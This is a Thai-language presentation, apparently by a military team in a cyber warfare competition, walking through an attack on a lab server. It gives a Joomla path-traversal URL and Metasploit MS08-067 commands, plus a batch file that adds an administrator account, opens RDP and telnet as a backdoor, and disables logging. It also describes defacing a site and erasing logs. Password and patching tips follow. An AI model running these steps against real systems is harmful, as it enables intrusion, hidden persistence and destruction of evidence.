CYBER WARFARE PIRATE CYBER WING 46 TEAM

ข้อมูลพื้นฐานของทีม PIRATE CYBER สมาชิกทีม สัญลักษณ์ทีม หัวหน้าทีม นาวาอากาศตรี ธนารักษ์ ธูปมงคล สมาชิกทีม จ่าอากาศเอก ทรงวุฒิ อินทรา จ่าอากาศเอก รักษิต ทองแย้ม

ขั้นตอนการวางแผนในการแข่งขัน น.ต.ธนารักษ์ ธูปมงคล หัวหน้าทีม Analysis & Assignments. Reconnaissance Scanning Gaining Access Maintaining Access Clearling Track Report จ.อ.ทรงวุฒิ อินทรา จ.อ.รักษิต ทองแย้ม

ข้อมูลอ้างอิงในการค้นคว้าเพิ่มเติม 1. http://www.google.co.th 2. http://www.microsoft.com 3. http://www.appservnetwork.com 4. http://www.exploit-db.com 5. หนังสือ Hacking & Security ก้าวสู่นักทดสอบและป้องกันการเจาะระบบ 6. http://descifrar.wkeys.info ใช้ในการถอดรหัสข้อมูล 7. http://www.string-functions.com/ ใช้ในการถอดรหัสข้อมูล

ขั้นตอนการปฏิบัติ เก็บรวบรวมข้อมูลเครื่องเป้าหมาย 1. Nmap ใช้ในการสแกนหาช่องโหว่และรายละเอียดของเครื่องเป้าหมาย 2. Acunetix web vulnerability scanner ใช้ในการตรวจสอบช่องโหว่ของ เว็บไซต์เป้าหมาย 3. Jomscan ใช้ในการตรวจสอบช่องโหว่ของโปรแกรม cms Joomla

Nmap Scan IP Address: 192.168.200.231 OS: windows 2003 Enterprise Edition OS version: 3790 Service Pack 2 Open Port: 135,139,445,514,1026,3306 Web Server: Apache Web Server version: 2.2.8 Available service: Website language: PHP CMS name: Joomla CMS version: 1.5 ทำการสำรวจและเก็บรวมรวมข้อมูลและหาช่องทางในการโจมตีเป้าหมาย

Acunetix web vulnerability scanner

Jomscan http://192.168.200.231/components/com_ionfiles/download.php?file=../../configuration.php&download=1 # 1 Info -> Generic: htaccess.txt has not been renamed. Versions Affected: Any Check: /htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? Yes # 2 Info -> Generic: Unprotected Administrator directory Check: /administrator/ Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf

# 14 Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability Versions effected: 1.0.13 <= Check: /administrator/ Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage. Vulnerable? Yes # 19 Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities Versions effected: Joomla! 1.5.12 Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296 # 35 Info -> CoreComponent: com_mailto timeout Vulnerability Versions effected: 1.5.13 <= Check: /components/com_mailto/ Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails.

ขั้นตอนการปฏิบัติ ช่องโหว่ของ Server 1. ms08_067_netapi เมื่อเราเก็บรวบรวมรายละเอียดเครื่องเป้าหมายแล้ว จึงใช้ช่องโหว่ของเซิร์ฟเวอร์เพื่อทำการเจาะระบบ ช่องโหว่ของ Server 1. ms08_067_netapi

ขั้นตอนการปฏิบัติ เลือกใช้ช่องโหว่ ms08_067_netapi msfconsole root@bt:~# msfconsole msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set RHOST 192.168.200.231 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit

ขั้นตอนการปฏิบัติ เมื่อ exploit เครื่องเป้าหมายได้สำเร็จ จะทำการอัพโหลดไฟล์ไปยังเครื่องเป้าหมายที่ต้องการ meterpreter > upload /root/openport.bat ./ ทำการเรียกใช้ไฟล์ที่เราอัพโหลดไว้ที่เครื่องเป้าหมาย

ขั้นตอนการปฏิบัติ คำสั่งที่ใช้ในไฟล์ที่อัพโหลดเข้าสู่เครื่องเป้าหมาย 1. net user ntadmin test1234 /add 2. net localgroup administrators ntadmin /add 3. netsh firewall set service type = remoteadmin mode = enable REG.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v netsh firewall set service type = remotedesktop mode = enable 4. sc config TlntSvr start= auto sc start TlntSvr

ภาพหน้าจอการปฏิบัติ

ใช้ Remote Desktop ในการเข้าถึงเป้าหมายหลังจาก Add user คุณสมบัติ = Admin

โจมตีระบบโดยการเปลี่ยนแปลงหน้าเว็บไซต์

ทำการสร้าง Backdoor โดยเชื่อมต่อผ่านทาง Telnet

ทำการลบ Log เพื่อกลบร่องรอย

ตั้งค่าไม่ให้บันทึก Log

เข้าลบไฟล์ Log ของเว็บเซิร์ฟเวอร์

ตั้งค่าใน Config เว็บเซิร์ฟเวอร์ไม่ให้บันทึก Log

ข้อมูลลับที่จะนำไป Decode

“Wanna make the world dance Forget about the price tag” ถอดรหัสข้อมูล BASE64 : VjJGdWJtRWdiV0ZyWlNCMGFHVWdkMjl5YkdRZ1pHRnVZMlVnUm05eVoyVjBJR0ZpYjNWMElIUm9aU0J3Y21salpTQjBZV2M9 V2FubmEgbWFrZSB0aGUgd29ybGQgZGFuY2UgRm9yZ2V0IGFib3V0IHRoZSBwcmljZSB0YWc= “Wanna make the world dance Forget about the price tag” MD5 : 7a0e07052fcc314476d1a61040f189b8 “flyboard”

Website ในการ Decode

Website ในการ Decode

แนวทางในการป้องกันการถูกโจมตี 1. อัพเดตแพตช์ (Patch) เป็นประจำ 2. เปลี่ยนแปลงแก้ไข Configuration ของระบบเสียใหม่ 3. ไม่ควรมีข้อมูลส่วนตัวในรหัสผ่าน เช่น ชื่อ หมายเลขโทรศัพท์ วันเกิด 4. ไม่ควรเขียนรหัสผ่านไว้บนแผ่นกระดาษแล้วเก็บไว้ในที่ ๆ หาได้ง่าย 5. ไม่ควรตั้งรหัสผ่านที่สั้น เช่น XYZ, abc, 1234, 123456789 6. ไม่ควรใช้คำที่รู้จักและคุ้นเคย เช่น password, admin 7. ไม่ควรใช้รหัสผ่านเดียวกันกับทุกๆ ระบบที่ใช้ 8. ติดตั้งโปรแกรมสแกนไวรัส และอัพเดตฐานข้อมูลเป็นประจำ 9. ไม่ควรติดตั้งไฟล์ที่ไม่มีที่มาหรือไม่น่าเชื่อถือ 10.ไม่ควรเปิด Port ที่ไม่ได้ใช้งาน

ตอบข้อซักถาม และข้อเสนอแนะ PIRATE CYBER WING 46 TEAM